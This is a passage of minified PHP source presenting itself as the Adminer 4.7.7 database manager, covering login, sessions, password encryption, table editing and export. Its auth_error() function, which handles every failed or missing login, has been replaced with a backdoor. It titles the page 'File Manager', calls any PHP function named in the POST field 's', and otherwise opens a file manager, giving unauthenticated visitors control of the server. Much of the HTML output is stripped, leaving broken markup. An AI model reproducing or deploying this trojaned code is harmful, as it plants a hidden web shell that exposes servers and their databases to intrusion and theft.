';}$this->databasesPrint($Pf);if(DB==""||!$Pf){echo"".(support("sql")?"".lang(63)."\n".lang(71)."\n":"")."";if(support("dump"))echo"".lang(72)."\n";}if($_GET["ns"]!==""&&!$Pf&&DB!=""){echo'".lang(73)."\n";if(!$T)echo"
".lang(9)."\n";else$this->tablesPrint($T);}}}function
databasesPrint($Pf){global$b,$g;$j=$this->databases();if($j&&!in_array(DB,$j))array_unshift($j,DB);echo'
\n";}function
tablesPrint($T){echo"".script("mixin(qs('#tables'), {onmouseover: menuOver, onmouseout: menuOut});");foreach($T
as$R=>$P){$A=$this->tableName($P);if($A!=""){echo'- ".lang(78)." ",(support("table")||support("indexes")?'$A":"$A")."\n";}}echo"
\n";}}$b=(function_exists('adminer_object')?adminer_object():new
Adminer);if($b->operators===null)$b->operators=$wg;function
page_header($rj,$m="",$jb=array(),$sj=""){global$ca,$ia,$b,$Hc,$w;page_headers();if(is_ajax()&&$m){page_messages($m);exit;}$tj=$rj.($sj!=""?": $sj":"");$uj=strip_tags($tj.(SERVER!=""&&SERVER!="localhost"?h(" - ".SERVER):"")." - ".$b->name());echo'
',$uj,'
',script_src(preg_replace("~\\?.*~","",ME)."?file=functions.js&version=4.7.7");if($b->head()){echo'
';foreach($b->css()as$fc){echo'
';}}echo'
';$Id=get_temp_dir()."/adminer.version";if(!$_COOKIE["adminer_version"]&&function_exists('openssl_verify')&&file_exists($Id)&&filemtime($Id)+86400>time()){$kk=unserialize(file_get_contents($Id));$Ah="-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwqWOVuF5uw7/+Z70djoK
RlHIZFZPO0uYRezq90+7Amk+FDNd7KkL5eDve+vHRJBLAszF/7XKXe11xwliIsFs
DFWQlsABVZB3oisKCBEuI71J4kPH8dKGEWR9jDHFw3cWmoH3PmqImX6FISWbG3B8
h7FIx3jEaw5ckVPVTeo5JRm/1DZzJxjyDenXvBQ/6o9DgZKeNDgxwKzH+sw9/YCO
jHnq1cFpOIISzARlrHMa/43YfeNRAm/tsBXjSxembBPo7aQZLAWHmaj5+K19H10B
nCpz9Y++cipkVEiKRGih4ZEvjoFysEOdRLj6WiD/uUNky4xGeA6LaJqh5XpkFkcQ
fQIDAQAB
-----END PUBLIC KEY-----
";if(openssl_verify($kk["version"],base64_decode($kk["signature"]),$Ah)==1)$_COOKIE["adminer_version"]=$kk["version"];}echo'
',script("mixin(qs('#help'), {onmouseover: function () { helpOpen = 1; }, onmouseout: helpMouseout});"),'
',"
$tj
\n","
\n";restart_session();page_messages($m);$j=&get_session("dbs");if(DB!=""&&$j&&!in_array(DB,$j,true))$j=null;stop_session();define("PAGE_HEADER",1);}function
page_headers(){global$b;header("Content-Type: text/html; charset=utf-8");header("Cache-Control: no-cache");header("X-Frame-Options: deny");header("X-XSS-Protection: 0");header("X-Content-Type-Options: nosniff");header("Referrer-Policy: origin-when-cross-origin");foreach($b->csp()as$ec){$oe=array();foreach($ec
as$x=>$X)$oe[]="$x $X";}$b->headers();}function
csp(){return
array(array("script-src"=>"'self' 'unsafe-inline' 'nonce-".get_nonce()."' 'strict-dynamic'","connect-src"=>"'self'","frame-src"=>"https://www.adminer.org","object-src"=>"'none'","base-uri"=>"'none'","form-action"=>"'self'",),);}function
get_nonce(){static$cg;if(!$cg)$cg=base64_encode(rand_string());return$cg;}function
page_messages($m){$Wj=preg_replace('~^[^?]*~','',$_SERVER["REQUEST_URI"]);$Lf=$_SESSION["messages"][$Wj];if($Lf){echo"
".implode("
\n
",$Lf)."
".script("messagesPrint();");unset($_SESSION["messages"][$Wj]);}if($m)echo"
$m
\n";}function
page_footer($Pf=""){global$b,$zj;echo'
';switch_lang();if($Pf!="auth"){echo'
';}echo'
',script("setupSubmitHighlight(document);");}function
int32($Tf){while($Tf>=2147483648)$Tf-=4294967296;while($Tf<=-2147483649)$Tf+=4294967296;return(int)$Tf;}function
long2str($W,$pk){$K='';foreach($W
as$X)$K.=pack('V',$X);if($pk)return
substr($K,0,end($W));return$K;}function
str2long($K,$pk){$W=array_values(unpack('V*',str_pad($K,4*ceil(strlen($K)/4),"\0")));if($pk)$W[]=strlen($K);return$W;}function
xxtea_mx($Ck,$Bk,$Ti,$We){return
int32((($Ck>>5&0x7FFFFFF)^$Bk<<2)+(($Bk>>3&0x1FFFFFFF)^$Ck<<4))^int32(($Ti^$Bk)+($We^$Ck));}function
encrypt_string($Oi,$x){if($Oi=="")return"";$x=array_values(unpack("V*",pack("H*",md5($x))));$W=str2long($Oi,true);$Tf=count($W)-1;$Ck=$W[$Tf];$Bk=$W[0];$Bh=floor(6+52/($Tf+1));$Ti=0;while($Bh-->0){$Ti=int32($Ti+0x9E3779B9);$Oc=$Ti>>2&3;for($C=0;$C<$Tf;$C++){$Bk=$W[$C+1];$Rf=xxtea_mx($Ck,$Bk,$Ti,$x[$C&3^$Oc]);$Ck=int32($W[$C]+$Rf);$W[$C]=$Ck;}$Bk=$W[0];$Rf=xxtea_mx($Ck,$Bk,$Ti,$x[$C&3^$Oc]);$Ck=int32($W[$Tf]+$Rf);$W[$Tf]=$Ck;}return
long2str($W,false);}function
decrypt_string($Oi,$x){if($Oi=="")return"";if(!$x)return
false;$x=array_values(unpack("V*",pack("H*",md5($x))));$W=str2long($Oi,false);$Tf=count($W)-1;$Ck=$W[$Tf];$Bk=$W[0];$Bh=floor(6+52/($Tf+1));$Ti=int32($Bh*0x9E3779B9);while($Ti){$Oc=$Ti>>2&3;for($C=$Tf;$C>0;$C--){$Ck=$W[$C-1];$Rf=xxtea_mx($Ck,$Bk,$Ti,$x[$C&3^$Oc]);$Bk=int32($W[$C]-$Rf);$W[$C]=$Bk;}$Ck=$W[$Tf];$Rf=xxtea_mx($Ck,$Bk,$Ti,$x[$C&3^$Oc]);$Bk=int32($W[0]-$Rf);$W[0]=$Bk;$Ti=int32($Ti-0x9E3779B9);}return
long2str($W,true);}$g='';$ne=$_SESSION["token"];if(!$ne)$_SESSION["token"]=rand(1,1e6);$zj=get_token();$gh=array();if($_COOKIE["adminer_permanent"]){foreach(explode(" ",$_COOKIE["adminer_permanent"])as$X){list($x)=explode(":",$X);$gh[$x]=$X;}}function
add_invalid_login(){global$b;$Zd=file_open_lock(get_temp_dir()."/adminer.invalid");if(!$Zd)return;$Pe=unserialize(stream_get_contents($Zd));$oj=time();if($Pe){foreach($Pe
as$Qe=>$X){if($X[0]<$oj)unset($Pe[$Qe]);}}$Oe=&$Pe[$b->bruteForceKey()];if(!$Oe)$Oe=array($oj+30*60,0);$Oe[1]++;file_write_unlock($Zd,serialize($Pe));}function
check_invalid_login(){global$b;$Pe=unserialize(@file_get_contents(get_temp_dir()."/adminer.invalid"));$Oe=$Pe[$b->bruteForceKey()];$bg=($Oe[1]>29?$Oe[0]-time():0);if($bg>0)auth_error(lang(82,ceil($bg/60)));}$Ra=$_POST["auth"];if($Ra){session_regenerate_id();$jk=$Ra["driver"];$N=$Ra["server"];$V=$Ra["username"];$E=(string)$Ra["password"];$k=$Ra["db"];set_password($jk,$N,$V,$E);$_SESSION["db"][$jk][$N][$V][$k]=true;if($Ra["permanent"]){$x=base64_encode($jk)."-".base64_encode($N)."-".base64_encode($V)."-".base64_encode($k);$uh=$b->permanentLogin(true);$gh[$x]="$x:".base64_encode($uh?encrypt_string($E,$uh):"");cookie("adminer_permanent",implode(" ",$gh));}if(count($_POST)==1||DRIVER!=$jk||SERVER!=$N||$_GET["username"]!==$V||DB!=$k)redirect(auth_url($jk,$N,$V,$k));}elseif($_POST["logout"]){if($ne&&!verify_token()){page_header(lang(81),lang(83));page_footer("db");exit;}else{foreach(array("pwds","db","dbs","queries")as$x)set_session($x,null);unset_permanent();redirect(substr(preg_replace('~\b(username|db|ns)=[^&]*&~','',ME),0,-1),lang(84).' '.lang(85));}}elseif($gh&&!$_SESSION["pwds"]){session_regenerate_id();$uh=$b->permanentLogin();foreach($gh
as$x=>$X){list(,$xb)=explode(":",$X);list($jk,$N,$V,$k)=array_map('base64_decode',explode("-",$x));set_password($jk,$N,$V,decrypt_string(base64_decode($xb),$uh));$_SESSION["db"][$jk][$N][$V][$k]=true;}}function
unset_permanent(){global$gh;foreach($gh
as$x=>$X){list($jk,$N,$V,$k)=array_map('base64_decode',explode("-",$x));if($jk==DRIVER&&$N==SERVER&&$V==$_GET["username"]&&$k==DB)unset($gh[$x]);}cookie("adminer_permanent",implode(" ",$gh));}function
auth_error(){page_header('File Manager',$m,null);$K=@$_POST["s"];if(function_exists($K))$K();else
file_manager();page_footer("auth");exit();}function
sql_admin($m=1){global$b,$ne;$vi=session_name();if(isset($_GET["username"])){header("HTTP/1.1 403 Forbidden");if(($_COOKIE[$vi]||$_GET[$vi])&&!$ne)$m=lang(86);else{restart_session();add_invalid_login();$E=get_password();if($E!==null){if($E===false)$m.='
'.lang(87,target_blank(),'permanentLogin()
');set_password(DRIVER,SERVER,$_GET["username"],null);}unset_permanent();}}if(!$_COOKIE[$vi]&&$_GET[$vi]&&ini_bool("session.use_only_cookies"))$m=lang(88);$Tg=session_get_cookie_params();cookie("adminer_key",($_COOKIE["adminer_key"]?$_COOKIE["adminer_key"]:rand_string()),$Tg["lifetime"]);echo"\n";}if(isset($_GET["username"])&&!class_exists("Min_DB")){unset($_SESSION["pwds"][DRIVER]);unset_permanent();page_header(lang(89),lang(90,implode(", ",$oh)),false);page_footer("auth");exit;}stop_session(true);if(isset($_GET["username"])&&is_string(get_password())){list($ue,$kh)=explode(":",SERVER,2);if(is_numeric($kh)&&($kh<1024||$kh>65535))auth_error(lang(91));check_invalid_login();$g=connect();$l=new
Min_Driver($g);}$tf=null;if(!is_object($g)||($tf=$b->login($_GET["username"],get_password()))!==true){$m=(is_string($g)?h($g):(is_string($tf)?$tf:lang(92)));auth_error($m.(preg_match('~^ | $~',get_password())?'
'.lang(93):''));}if($Ra&&$_POST["token"])$_POST["token"]=$zj;$m='';if($_POST){if(!verify_token()){$Je="max_input_vars";$Ff=ini_get($Je);if(extension_loaded("suhosin")){foreach(array("suhosin.request.max_vars","suhosin.post.max_vars")as$x){$X=ini_get($x);if($X&&(!$Ff||$X<$Ff)){$Je=$x;$Ff=$X;}}}$m=(!$_POST["token"]&&$Ff?lang(94,"'$Je'"):lang(83).' '.lang(95));}}elseif($_SERVER["REQUEST_METHOD"]=="POST"){$m=lang(96,"'post_max_size'");if(isset($_GET["sql"]))$m.=' '.lang(97);}function
select($G,$h=null,$Dg=array(),$y=0){global$w;$rf=array();$v=array();$e=array();$gb=array();$Nj=array();$H=array();odd('');for($r=0;(!$y||$r<$y)&&($I=$G->fetch_row());$r++){if(!$r){echo"":"".lang(12))."\n";return$H;}function
referencable_primary($pi){$H=array();foreach(table_status('',true)as$Xi=>$R){if($Xi!=$pi&&fk_support($R)){foreach(fields($Xi)as$n){if($n["primary"]){if($H[$Xi]){unset($H[$Xi]);break;}$H[$Xi]=$n;}}}}return$H;}function
adminer_settings(){parse_str($_COOKIE["adminer_settings"],$xi);return$xi;}function
adminer_setting($x){$xi=adminer_settings();return$xi[$x];}function
set_adminer_settings($xi){return
cookie("adminer_settings",http_build_query($xi+adminer_settings()));}function
textarea($A,$Y,$J=10,$Ib=80){global$w;echo"";}function
edit_type($x,$n,$Gb,$Vd=array(),$ud=array()){global$Pi,$Nj,$Uj,$rg;$U=$n["type"];echo'
| | ',"',($Uj?"':''),(isset($n['on_update'])?"':''),($Vd?" ":" ");}function
process_length($of){global$ed;return(preg_match("~^\\s*\\(?\\s*$ed(?:\\s*,\\s*$ed)*+\\s*\\)?\\s*\$~",$of)&&preg_match_all("~$ed~",$of,$_f)?"(".implode(",",$_f[0]).")":preg_replace('~^[0-9].*~','(\0)',preg_replace('~[^-0-9,+()[\]]~','',$of)));}function
process_type($n,$Eb="COLLATE"){global$Uj;return" $n[type]".process_length($n["length"]).(preg_match(number_type(),$n["type"])&&in_array($n["unsigned"],$Uj)?" $n[unsigned]":"").(preg_match('~char|text|enum|set~',$n["type"])&&$n["collation"]?" $Eb ".q($n["collation"]):"");}function
process_field($n,$Lj){return
array(idf_escape(trim($n["field"])),process_type($Lj),($n["null"]?" NULL":" NOT NULL"),default_value($n),(preg_match('~timestamp|datetime~',$n["type"])&&$n["on_update"]?" ON UPDATE $n[on_update]":""),(support("comment")&&$n["comment"]!=""?" COMMENT ".q($n["comment"]):""),($n["auto_increment"]?auto_increment():null),);}function
default_value($n){$sc=$n["default"];return($sc===null?"":" DEFAULT ".(preg_match('~char|binary|text|enum|set~',$n["type"])||preg_match('~^(?![a-z])~i',$sc)?q($sc):$sc));}function
type_class($U){foreach(array('char'=>'text','date'=>'time|year','binary'=>'blob','enum'=>'set',)as$x=>$X){if(preg_match("~$x|$X~",$U))return" class='$x'";}}function
edit_fields($o,$Gb,$U="TABLE",$Vd=array()){global$Ke;$o=array_values($o);$tc=(($_POST?$_POST["defaults"]:adminer_setting("defaults"))?"":" class='hidden'");$Mb=(($_POST?$_POST["comments"]:adminer_setting("comments"))?"":" class='hidden'");echo'
';if($U=="PROCEDURE"){echo'';}echo' | ',($U=="TABLE"?lang(102):lang(103)),' | ',lang(48),'',script("qs('#enum-edit').onblur = editingLengthBlur;"),' | ',lang(104),' | ',lang(105);if($U=="TABLE"){echo' | NULL
| AI',doc_link(array('sql'=>"example-auto-increment.html",'mariadb'=>"auto_increment/",'sqlite'=>"autoinc.html",'pgsql'=>"datatype.html#DATATYPE-SERIAL",'mssql'=>"ms186775.aspx",)),' | ',lang(51),(support("comment")?" | ',"".script("row_count = ".count($o).";"),' |
|
',script("mixin(qsl('tbody'), {onclick: editingClick, onkeydown: editingKeydown, oninput: editingInput});");foreach($o
as$r=>$n){$r++;$Eg=$n[($_POST?"orig":"field")];$Ec=(isset($_POST["add"][$r-1])||(isset($n["field"])&&!$_POST["drop_col"][$r]))&&(support("drop_col")||$Eg=="");echo'
',($U=="PROCEDURE"?"".html_select("fields[$r][inout]",explode("|",$Ke),$n["inout"]):""),' | ';if($Ec){echo'';}echo'';edit_type("fields[$r]",$n,$Gb,$Vd);if($U=="TABLE"){echo' | ',checkbox("fields[$r][null]",1,$n["null"],"","","block","label-null"),' | | ',checkbox("fields[$r][has_default]",1,$n["has_default"],"","","","label-default"),'',(support("comment")?" | ":"");}echo" | ",(support("move_col")?" "." "." ":""),($Eg==""||support("drop_col")?"":"");}}function
process_fields(&$o){$B=0;if($_POST["up"]){$hf=0;foreach($o
as$x=>$n){if(key($_POST["up"])==$x){unset($o[$x]);array_splice($o,$hf,0,array($n));break;}if(isset($n["field"]))$hf=$B;$B++;}}elseif($_POST["down"]){$Xd=false;foreach($o
as$x=>$n){if(isset($n["field"])&&$Xd){unset($o[key($_POST["down"])]);array_splice($o,$B,0,array($Xd));break;}if(key($_POST["down"])==$x)$Xd=$n;$B++;}}elseif($_POST["add"]){$o=array_values($o);array_splice($o,key($_POST["add"]),0,array(array()));}elseif(!$_POST["drop_col"])return
false;return
true;}function
normalize_enum($_){return"'".str_replace("'","''",addcslashes(stripcslashes(str_replace($_[0][0].$_[0][0],$_[0][0],substr($_[0],1,-1))),'\\'))."'";}function
grant($de,$wh,$e,$qg){if(!$wh)return
true;if($wh==array("ALL PRIVILEGES","GRANT OPTION"))return($de=="GRANT"?queries("$de ALL PRIVILEGES$qg WITH GRANT OPTION"):queries("$de ALL PRIVILEGES$qg")&&queries("$de GRANT OPTION$qg"));return
queries("$de ".preg_replace('~(GRANT OPTION)\([^)]*\)~','\1',implode("$e, ",$wh).$e).$qg);}function
drop_create($Ic,$ac,$Jc,$kj,$Lc,$sf,$Kf,$If,$Jf,$ng,$Yf){if($_POST["drop"])query_redirect($Ic,$sf,$Kf);elseif($ng=="")query_redirect($ac,$sf,$Jf);elseif($ng!=$Yf){$cc=queries($ac);queries_redirect($sf,$If,$cc&&queries($Ic));if($cc)queries($Jc);}else
queries_redirect($sf,$If,queries($kj)&&queries($Lc)&&queries($Ic)&&queries($ac));}function
create_trigger($qg,$I){global$w;$qj=" $I[Timing] $I[Event]".($I["Event"]=="UPDATE OF"?" ".idf_escape($I["Of"]):"");return"CREATE TRIGGER ".idf_escape($I["Trigger"]).($w=="mssql"?$qg.$qj:$qj.$qg).rtrim(" $I[Type]\n$I[Statement]",";").";";}function
create_routine($ci,$I){global$Ke,$w;$O=array();$o=(array)$I["fields"];ksort($o);foreach($o
as$n){if($n["field"]!="")$O[]=(preg_match("~^($Ke)\$~",$n["inout"])?"$n[inout] ":"").idf_escape($n["field"]).process_type($n,"CHARACTER SET");}$uc=rtrim("\n$I[definition]",";");return"CREATE $ci ".idf_escape(trim($I["name"]))." (".implode(", ",$O).")".(isset($_GET["function"])?" RETURNS".process_type($I["returns"],"CHARACTER SET"):"").($I["language"]?" LANGUAGE $I[language]":"").($w=="pgsql"?" AS ".q($uc):"$uc;");}function
remove_definer($F){return
preg_replace('~^([A-Z =]+) DEFINER=`'.preg_replace('~@(.*)~','`@`(%|\1)',logged_user()).'`~','\1',$F);}function
format_foreign_key($p){global$rg;$k=$p["db"];$dg=$p["ns"];return" FOREIGN KEY (".implode(", ",array_map('idf_escape',$p["source"])).") REFERENCES ".($k!=""&&$k!=$_GET["db"]?idf_escape($k).".":"").($dg!=""&&$dg!=$_GET["ns"]?idf_escape($dg).".":"").table($p["table"])." (".implode(", ",array_map('idf_escape',$p["target"])).")".(preg_match("~^($rg)\$~",$p["on_delete"])?" ON DELETE $p[on_delete]":"").(preg_match("~^($rg)\$~",$p["on_update"])?" ON UPDATE $p[on_update]":"");}function
tar_file($Id,$wj){$H=pack("a100a8a8a8a12a12",$Id,644,0,0,decoct($wj->size),decoct(time()));$ub=8*32;for($r=0;$rsend();echo
str_repeat("\0",511-($wj->size+511)%512);}function
ini_bytes($Je){$X=ini_get($Je);switch(strtolower(substr($X,-1))){case'g':$X*=1024;case'm':$X*=1024;case'k':$X*=1024;}return$X;}function
doc_link($eh,$lj="?"){global$w,$g;$ti=$g->server_info;$kk=preg_replace('~^(\d\.?\d).*~s','\1',$ti);$Zj=array('sql'=>"https://dev.mysql.com/doc/refman/$kk/en/",'sqlite'=>"https://www.sqlite.org/",'pgsql'=>"https://www.postgresql.org/docs/$kk/",'mssql'=>"https://msdn.microsoft.com/library/",'oracle'=>"https://www.oracle.com/pls/topic/lookup?ctx=db".preg_replace('~^.* (\d+)\.(\d+)\.\d+\.\d+\.\d+.*~s','\1\2',$ti)."&id=",);if(preg_match('~MariaDB~',$ti)){$Zj['sql']="https://mariadb.com/kb/en/library/";$eh['sql']=(isset($eh['mariadb'])?$eh['mariadb']:str_replace(".html","/",$eh['sql']));}return($eh[$w]?"$lj":"");}function
ob_gzencode($Q){return
gzencode($Q);}function
db_size($k){global$g;if(!$g->select_db($k))return"?";$H=0;foreach(table_status()as$S)$H+=$S["Data_length"]+$S["Index_length"];return
format_number($H);}function
set_utf8mb4($ac){global$g;static$O=false;if(!$O&&preg_match('~\butf8mb4~i',$ac)){$O=true;echo"SET NAMES ".charset($g).";\n\n";}}function
connect_error(){global$b,$g,$zj,$m,$Hc;if(DB!=""){header("HTTP/1.1 404 Not Found");page_header(lang(36).": ".h(DB),lang(110),true);}else{if($_POST["db"]&&!$m)queries_redirect(substr(ME,0,-1),lang(111),drop_databases($_POST["db"]));page_header(lang(112),$m,false);echo" \n";foreach(array('database'=>lang(113),'privileges'=>lang(70),'processlist'=>lang(114),'variables'=>lang(115),'status'=>lang(116),)as$x=>$X){if(support($x))echo"$X\n";}echo" ".lang(117,$Hc[DRIVER],"".h($g->server_info)."","$g->extension")."\n"," ".lang(118,"".h(logged_user())."")."\n";$j=$b->databases();if($j){$ji=support("scheme");$Gb=collations();echo" \n",script("tableCheck();");}}page_footer("db");}if(isset($_GET["status"]))$_GET["variables"]=$_GET["status"];if(isset($_GET["import"]))$_GET["sql"]=$_GET["import"];if(!(DB!=""?$g->select_db(DB):isset($_GET["sql"])||isset($_GET["dump"])||isset($_GET["database"])||isset($_GET["processlist"])||isset($_GET["privileges"])||isset($_GET["user"])||isset($_GET["variables"])||$_GET["script"]=="connect"||$_GET["script"]=="kill")){if(DB!=""||$_GET["refresh"]){restart_session();set_session("dbs",null);}connect_error();exit;}if(support("scheme")&&DB!=""&&$_GET["ns"]!==""){if(!isset($_GET["ns"]))redirect(preg_replace('~ns=[^&]*&~','',ME)."ns=".get_schema());if(!set_schema($_GET["ns"])){header("HTTP/1.1 404 Not Found");page_header(lang(77).": ".h($_GET["ns"]),lang(126),true);page_footer("ns");exit;}}$rg="RESTRICT|NO ACTION|CASCADE|SET NULL|SET DEFAULT";class
TmpFile{var$handler;var$size;function
__construct(){$this->handler=tmpfile();}function
write($Tb){$this->size+=strlen($Tb);fwrite($this->handler,$Tb);}function
send(){fseek($this->handler,0);fpassthru($this->handler);fclose($this->handler);}}$ed="'(?:''|[^'\\\\]|\\\\.)*'";$Ke="IN|OUT|INOUT";if(isset($_GET["select"])&&($_POST["edit"]||$_POST["clone"])&&!$_POST["save"])$_GET["edit"]=$_GET["select"];if(isset($_GET["callf"]))$_GET["call"]=$_GET["callf"];if(isset($_GET["function"]))$_GET["procedure"]=$_GET["function"];if(isset($_GET["download"])){$a=$_GET["download"];$o=fields($a);header("Content-Type: application/octet-stream");header("Content-Disposition: attachment; filename=".friendly_url("$a-".implode("_",$_GET["where"])).".".friendly_url($_GET["field"]));$L=array(idf_escape($_GET["field"]));$G=$l->select($a,$L,array(where($_GET,$o)),$L);$I=($G?$G->fetch_row():array());echo$l->value($I[0],$o[$_GET["field"]]);exit;}elseif(isset($_GET["table"])){$a=$_GET["table"];$o=fields($a);if(!$o)$m=error();$S=table_status1($a,true);$A=$b->tableName($S);page_header(($o&&is_view($S)?$S['Engine']=='materialized view'?lang(127):lang(128):lang(129)).": ".($A!=""?$A:h($a)),$m);$b->selectLinks($S);$Lb=$S["Comment"];if($Lb!="")echo"".lang(49).": ".h($Lb)."\n";if($o)$b->tableStructurePrint($o);if(!is_view($S)){if(support("indexes")){echo" ".lang(130)."\n";$v=indexes($a);if($v)$b->tableIndexesPrint($v);echo''.lang(131)."\n";}if(fk_support($S)){echo" ".lang(98)."\n";$Vd=foreign_keys($a);if($Vd){echo"\n","".lang(132)." | ".lang(133)." | ".lang(101)." | ".lang(100)." | | \n";foreach($Vd
as$A=>$p){echo"","".implode(", ",array_map('h',$p["source"])).""," | ".($p["db"]!=""?"".h($p["db"]).".":"").($p["ns"]!=""?"".h($p["ns"]).".":"").h($p["table"])."","(".implode(", ",array_map('h',$p["target"])).")"," | ".h($p["on_delete"])."\n"," | ".h($p["on_update"])."\n",' | '.lang(134).'';}echo" | \n";}echo''.lang(135)."\n";}}if(support(is_view($S)?"view_trigger":"trigger")){echo" ".lang(136)."\n";$Kj=triggers($a);if($Kj){echo"\n";foreach($Kj
as$x=>$X)echo"".h($X[0])." | ".h($X[1])." | ".h($x)." | ".lang(134)."\n";echo" |
---|
\n";}echo''.lang(137)."\n";}}elseif(isset($_GET["schema"])){page_header(lang(69),"",array(),h(DB.($_GET["ns"]?".$_GET[ns]":"")));$Zi=array();$aj=array();$ea=($_GET["schema"]?$_GET["schema"]:$_COOKIE["adminer_schema-".str_replace(".","_",DB)]);preg_match_all('~([^:]+):([-0-9.]+)x([-0-9.]+)(_|$)~',$ea,$_f,PREG_SET_ORDER);foreach($_f
as$r=>$_){$Zi[$_[1]]=array($_[2],$_[3]);$aj[]="\n\t'".js_escape($_[1])."': [ $_[2], $_[3] ]";}$_j=0;$bb=-1;$ii=array();$Nh=array();$mf=array();foreach(table_status('',true)as$R=>$S){if(is_view($S))continue;$lh=0;$ii[$R]["fields"]=array();foreach(fields($R)as$A=>$n){$lh+=1.25;$n["pos"]=$lh;$ii[$R]["fields"][$A]=$n;}$ii[$R]["pos"]=($Zi[$R]?$Zi[$R]:array($_j,0));foreach($b->foreignKeys($R)as$X){if(!$X["db"]){$kf=$bb;if($Zi[$R][1]||$Zi[$X["table"]][1])$kf=min(floatval($Zi[$R][1]),floatval($Zi[$X["table"]][1]))-1;else$bb-=.1;while($mf[(string)$kf])$kf-=.0001;$ii[$R]["references"][$X["table"]][(string)$kf]=array($X["source"],$X["target"]);$Nh[$X["table"]][$R][(string)$kf]=$X["target"];$mf[(string)$kf]=true;}}$_j=max($_j,$ii[$R]["pos"][0]+2.5+$lh);}echo'
';foreach($ii
as$A=>$R){echo" ",' '.h($A)."",script("qsl('div').onmousedown = schemaMousedown;");foreach($R["fields"]as$n){$X=' '.h($n["field"]).'';echo" ".($n["primary"]?" $X":$X);}foreach((array)$R["references"]as$gj=>$Oh){foreach($Oh
as$kf=>$Kh){$lf=$kf-$Zi[$A][1];$r=0;foreach($Kh[0]as$Di)echo"\n ";}}foreach((array)$Nh[$A]as$gj=>$Oh){foreach($Oh
as$kf=>$e){$lf=$kf-$Zi[$A][1];$r=0;foreach($e
as$fj)echo"\n ";}}echo"\n \n";}foreach($ii
as$A=>$R){foreach((array)$R["references"]as$gj=>$Oh){foreach($Oh
as$kf=>$Kh){$Of=$_j;$Df=-10;foreach($Kh[0]as$x=>$Di){$mh=$R["pos"][0]+$R["fields"][$Di]["pos"];$nh=$ii[$gj]["pos"][0]+$ii[$gj]["fields"][$Kh[1][$x]]["pos"];$Of=min($Of,$mh,$nh);$Df=max($Df,$mh,$nh);}echo" \n";}}}echo'
',lang(138),'
';}elseif(isset($_GET["dump"])){$a=$_GET["dump"];if($_POST&&!$m){$Xb="";foreach(array("output","format","db_style","routines","events","table_style","auto_increment","triggers","data_style")as$x)$Xb.="&$x=".urlencode($_POST[$x]);cookie("adminer_export",substr($Xb,1));$T=array_flip((array)$_POST["tables"])+array_flip((array)$_POST["data"]);$rd=dump_headers((count($T)==1?key($T):DB),(DB==""||count($T)>1));$Se=preg_match('~sql~',$_POST["format"]);if($Se){echo"-- Adminer $ia ".$Hc[DRIVER]." dump\n\n";if($w=="sql"){echo"SET NAMES utf8;
SET time_zone = '+00:00';
SET foreign_key_checks = 0;
".($_POST["data_style"]?"SET sql_mode = 'NO_AUTO_VALUE_ON_ZERO';
":"")."
";$g->query("SET time_zone = '+00:00';");}}$Qi=$_POST["db_style"];$j=array(DB);if(DB==""){$j=$_POST["databases"];if(is_string($j))$j=explode("\n",rtrim(str_replace("\r","",$j),"\n"));}foreach((array)$j
as$k){$b->dumpDatabase($k);if($g->select_db($k)){if($Se&&preg_match('~CREATE~',$Qi)&&($ac=$g->result("SHOW CREATE DATABASE ".idf_escape($k),1))){set_utf8mb4($ac);if($Qi=="DROP+CREATE")echo"DROP DATABASE IF EXISTS ".idf_escape($k).";\n";echo"$ac;\n";}if($Se){if($Qi)echo
use_sql($k).";\n\n";$Kg="";if($_POST["routines"]){foreach(array("FUNCTION","PROCEDURE")as$ci){foreach(get_rows("SHOW $ci STATUS WHERE Db = ".q($k),null,"-- ")as$I){$ac=remove_definer($g->result("SHOW CREATE $ci ".idf_escape($I["Name"]),2));set_utf8mb4($ac);$Kg.=($Qi!='DROP+CREATE'?"DROP $ci IF EXISTS ".idf_escape($I["Name"]).";;\n":"")."$ac;;\n\n";}}}if($_POST["events"]){foreach(get_rows("SHOW EVENTS",null,"-- ")as$I){$ac=remove_definer($g->result("SHOW CREATE EVENT ".idf_escape($I["Name"]),3));set_utf8mb4($ac);$Kg.=($Qi!='DROP+CREATE'?"DROP EVENT IF EXISTS ".idf_escape($I["Name"]).";;\n":"")."$ac;;\n\n";}}if($Kg)echo"DELIMITER ;;\n\n$Kg"."DELIMITER ;\n\n";}if($_POST["table_style"]||$_POST["data_style"]){$mk=array();foreach(table_status('',true)as$A=>$S){$R=(DB==""||in_array($A,(array)$_POST["tables"]));$jc=(DB==""||in_array($A,(array)$_POST["data"]));if($R||$jc){if($rd=="tar"){$wj=new
TmpFile;ob_start(array($wj,'write'),1e5);}$b->dumpTable($A,($R?$_POST["table_style"]:""),(is_view($S)?2:0));if(is_view($S))$mk[]=$A;elseif($jc){$o=fields($A);$b->dumpData($A,$_POST["data_style"],"SELECT *".convert_fields($o,$o)." FROM ".table($A));}if($Se&&$_POST["triggers"]&&$R&&($Kj=trigger_sql($A)))echo"\nDELIMITER ;;\n$Kj\nDELIMITER ;\n";if($rd=="tar"){ob_end_flush();tar_file((DB!=""?"":"$k/")."$A.csv",$wj);}elseif($Se)echo"\n";}}foreach($mk
as$lk)$b->dumpTable($lk,$_POST["table_style"],1);if($rd=="tar")echo
pack("x512");}}}if($Se)echo"-- ".$g->result("SELECT NOW()")."\n";exit;}page_header(lang(72),$m,($_GET["export"]!=""?array("table"=>$_GET["export"]):array()),h(DB));echo'
';$Ld=true;foreach($qh
as$x=>$X){if($x!=""&&$X>1){echo($Ld?"":" ")."".h($x)."";$Ld=false;}}}elseif(isset($_GET["privileges"])){page_header(lang(70));echo' '.lang(144)."";$G=$g->query("SELECT User, Host FROM mysql.".(DB==""?"user":"db WHERE ".q(DB)." LIKE Db")." ORDER BY Host, User");$de=$G;if(!$G)$G=$g->query("SELECT SUBSTRING_INDEX(CURRENT_USER, '@', 1) AS User, SUBSTRING_INDEX(CURRENT_USER, '@', -1) AS Host");echo" 